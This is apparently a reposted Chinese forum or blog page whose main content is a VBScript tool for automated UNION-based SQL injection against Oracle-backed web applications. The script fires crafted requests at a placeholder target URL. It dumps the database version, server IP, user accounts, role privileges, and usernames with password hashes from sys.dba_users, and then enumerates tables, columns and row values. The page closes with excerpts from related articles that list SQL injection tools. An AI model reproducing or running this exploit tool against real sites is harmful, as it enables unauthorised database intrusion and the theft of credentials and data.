oracle union 注入工具

‘***********************************************************************************************
‘oracle union 注入工具 By 孤水绕城
‘适用于可以使用union的注入点上
‘***********************************************************************************************
‘改了Tr4c3的ql2005注射辅助脚本[粗糙版]的框架
Const method = "Get" ‘提交方式请修改此处,有get和post可选
Const DisPlay = "D" ‘S 保存到文件，D输出到屏幕

Dim strUrl_B, strUrl, MyArray, strArg, strD,tmpStrArg,currcount,num
‘自己手工判断字段数，然后找出一个字符格式并且可以在网页中显示的位置替换为<**>
strUrl_B = "http://www.target.com/renews.jsp?id=348%20and%201=2%20union%20all%20select%20null,<**>,null,null,null,null,null,null,null,null,null,null" ‘基于注射点的不确定性，此处请手工更改
currcount = -1
MyArray = Split(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) ‘取url
strArg = MyArray(1) ‘取参数
Set Args = Wscript.Arguments
If Args.Count = 0 Then
showU()
End If
‘************************************************************************
‘ 爆库
‘************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))= "info" then
ResuT("The oracle version")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("banner"))
Call sqlInj("%20from%20v$version%20where%201=1%20--","content")
ResuT("The oracle ip")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("sys_context(chr(117)%7C%7Cchr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(110)%7C%7Cchr(118),chr(105)%7C%7Cchr(112)%7C%7Cchr(95)%7C%7Cchr(97)%7C%7Cchr(100)%7C%7Cchr(100)%7C%7Cchr(114)%7C%7Cchr(101)%7C%7Cchr(115)%7C%7Cchr(115))"))
Call sqlInj("%20%20from%20dual%20where%201=1%20-- ","content")
ResuT("The database")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("name"))
Call sqlInj("%20from%20v$database%20where%20rownum=1%20-- ","content")
ResuT("The database user")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("user"))
Call sqlInj("%20%20from%20user_tables%20where%20rownum=1%20--","content")

ResuT("The database All users")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20all_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("username"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,username%20from%20(select%20rownum%20r,username%20from%20all_users%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1

ResuT("The user PRIVILEGES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_role_privs%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("granted_role"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,granted_role%20from%20(select%20rownum%20r,granted_role%20from%20user_role_privs%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1

ResuT("The SESSION_ROLES")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20session_roles%20where%201=1%20-- ","count")
tmpStrArg = Replace(strArg,"<**>",plastr("role"))
For num=0 To currcount
Call sqlInj("%20%20from%20(select%20rownum%20r,role%20from%20(select%20rownum%20r,role%20from%20session_roles%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20-- ","content")
Next
currcount = -1
ResuT("The service_names")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("value"))
Call sqlInj("%20from%20v$parameter%20where%20name=chr(115)%7C%7Cchr(101)%7C%7Cchr(114)%7C%7Cchr(118)%7C%7Cchr(105)%7C%7Cchr(99)%7C%7Cchr(101)%7C%7Cchr(95)%7C%7Cchr(110)%7C%7Cchr(97)%7C%7Cchr(109)%7C%7Cchr(101)%7C%7Cchr(115)%20--","content")

ResuT("The Account Hash ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20sys.dba_users%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("a"))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,a%20from%20(select%20rownum%20r,username%7C%7Cchr(58)%7C%7Cpassword%7C%7Cchr(58)%7C%7Cname%7C%7Cchr(58)%7C%7Cutl_inaddr.get_host_name%7C%7Cchr(58)%20as%20a%20from%20sys.dba_users,sys.v_$database%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
Wscript.Quit
End If
End If
‘************************************************************************
‘ 爆表
‘************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("All The tables ")
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tables%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("table_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,table_name%20from%20(select%20rownum%20r,table_name%20from%20user_tables%20where%20rownum%3C="&num+1&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If

‘************************************************************************
‘ 爆字段
‘************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
ResuT(" The cols of "&Args(1))
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>",plastr("count(*)"))
Call sqlInj("%20from%20user_tab_columns%20where%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20--","count")
tmpStrArg = Replace(strArg,"<**>",plastr("column_name"))
If currcount >0 Then
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,column_name%20from%20(select%20rownum%20r,column_name%20from%20user_tab_columns%20where%20rownum%3C="&num+1&"%20and%20table_name="&encodechr(UCase(Trim(Args(1))))&"%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20--","content")
Next
currcount = -1
End If
Wscript.Quit
End If

‘************************************************************************
‘ 爆字段值
‘************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="values" Then
ResuT(" The value of "&Args(2))
ResuT("---------------===============================--------------")
tmpStrArg = Replace(strArg,"<**>","count(*)")
Call sqlInj("%20from%20client%20where%201=1%20--","count")
tmpStrArg = Replace(strArg,"<**>",UCase(Trim(Args(2))))
For num=0 To currcount
Call sqlInj("%20from%20(select%20rownum%20r,"&UCase(Trim(Args(2)))&"%20from%20(select%20rownum%20r,"&UCase(Trim(Args(2)))&"%20from%20"&UCase(Trim(Args(1)))&"%20where%20rownum%3C="&num+1&"%20and%201=1%20order%20by%201%20desc)%20t%20where%20r%3E"&num&"%20order%20by%201)t%20where%201=1%20-- ","content")
next
Wscript.Quit
End If
Sub SqlInj(value,thetype)
If UCase(method) = "GET" Then
value = tmpStrArg & value
Dim thestr
thestr = strUrl &"?" & value
‘wsh.echo thestr
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", strUrl &"?" & value , False
objXML.SetRequestHeader "Referer", strUrl
‘objXML.SetRequestHeader "Accept-Language", "EUC-KR"
objXML.send()
strRevS = objXML.ResponseText ‘默认用这个
‘strRevS = bytes2BSTR(objXML.ResponseBody) ‘韩文有时候要用这个
If InStr(strRevS,"^")<>0 And InStr(strRevs,"~")<>0 Then
If thetype = "count" Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
currcount = CInt(strD)
ResuT(" |_the count number ["&strD&"]")
End if
If thetype = "content" And currcount <> -1 Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_|_"&strD)
End If
If thetype = "content" And currcount = -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_"&strD)
End If
Else
strD = ""
End If
ElseIf UCase(method) = "POST" Then
value = tmpStrArg & value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST", strUrl, False
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "Referer", strUrl
objXML.send(UrlEncode(value))
strRevS = objXML.ResponseText ‘默认用这个
‘strRevS = bytes2BSTR(objXML.ResponseBody) ‘韩文有时候要用这个
If InStr(strRevS,"^")<>0 And InStr(strRevs,"~")<>0 Then
If thetype = "count" Then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
currcount = CInt(strD)
ResuT(" |_the count number"&strD)
End if
If thetype = "content" And currcount <> -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_|_"&strD)
End If
If thetype = "content" And currcount = -1 then
strD = Mid(strRevS,InStr(strRevS,"^^^")+3, InStr(strRevs,"~~~") - Instr(strRevS,"^^^")-3)
ResuT(" |_"&strD)
End If
Else
strD = ""
End If
End If
End Sub

Function ResuT(strInfo)
If UCase(DisPlay) = "S" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set fso1 = fso.OpenTextFile("result.txt",8,True)
fso1.WriteLine(strInfo)
fso1.Close
Set fso = Nothing
ElseIf UCase(DisPlay) = "D" Then
Wscript.Echo(strInfo)
End If
End Function

Function UrlEncode(str)
str = Replace(str," ","+")
UrlEncode = str
End Function

Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function encodechr(str)
Dim i,retstr
retstr = ""
For i=1 To Len(str)
retstr = retstr&"chr("&Asc(Mid(str,i,1))&")%7C%7C"
Next
encodechr = Left(retstr,Len(retstr)-6)
End Function

Function plastr(str)
Dim retstr
retstr = retstr&"chr(94)%7C%7Cchr(94)%7C%7Cchr(94)%7C%7C"&str&"%7C%7Cchr(126)%7C%7Cchr(126)%7C%7Cchr(126)"
plastr = retstr
End function
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("oracle union 注入工具 By 孤水绕城")
.Echo("Usage:")
.Echo(" cscript "&.ScriptName&" info--爆基本信息")
.Echo(" cscript "&.ScriptName&" pubs tables--爆库pubs里所有用户表名")
.Echo(" cscript "&.ScriptName&" pubs authors cols--爆库pubs里authors表的所有字段名")
.Echo(" cscript "&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub

时间： 2024-10-14 10:42:57

oracle union 注入工具的相关文章

详解强大的SQL注入工具——SQLMAP

1. 前言  Windows下的注入工具好的又贵,免费的啊D.明小子等又不好用,我们根本没必要花 时间去找什么破解的havij.pangolin什么的,特别是破解的工具很可能被绑了木马.其实 Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入 工具.  就如backtrack系统里面就有非常丰富的注入工具,对MSSQL.MYSQL.oracle等各种 数据库的应有尽有了,而且这些工具都是免费的,并且是开放源代码的,我们还可以用来修 改为合适自己使用的注入工

SQL 注入工具集合

众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BSQL Hacker可自

十大关系数据库SQL注入工具一览

摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进... 众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款S

10个SQL注入工具(转载)

众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 10个SQL注入工具 BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BS

10 个 SQL 注入工具

BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出注入. BSQL Hacker的适用群体是那些对注入有经验的使用者和那些想进行自动SQL注入的人群.BSQL Hacker可自动对Oracle和MySQL数据库进行攻击,并自动提取数据库的数据和架构. The Mole The Mole是一款开源的自动化SQL注入工具,其可绕过IPS/IDS(入侵防

SQL注入工具实践

程序简介 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入. 超级SQL注入工具目前支持Bool型盲注.错误显示注入.Union注入,支持Access.MySQL5以上版本.SQLServer.Oracle等数据库. 超级SQL注入工具采用C#开发,底层采用Socket发包进行HTTP交互,极大的提升了发包效率,相比C#自带的HttpWebRequest速度提

如何编写一个SQL注入工具

0x01  前言 一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单.最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以. 0x02 SQL注入工具 A.联合查询 union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名. 代码详情: #! /usr/bin/env python # _*_ coding:utf-8 _

[php审计实战篇]BlueCms v1.6 Union注入

非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/common.inc.php 跟踪这个php文件,这些文件都是包含的全局文件. 这个php文件还是先包含了几个全局文件. 最主要的是上图最下方的if判断: if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = dee

sqlmap的学习之路-自动化测试SQL注入工具

sqlmap 自动化测试sql 注入问题  会返回版本信息等等. Sqlmap是开源的自动化SQL注入工具,由Python写成,因此运行需要安装python环境. 如需了解更多sqlmap资料可以访问官方http://sqlmap.org/,https://github.com/sqlmapproject/sqlmap,https://www.python.org . 注意:sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点. 特点: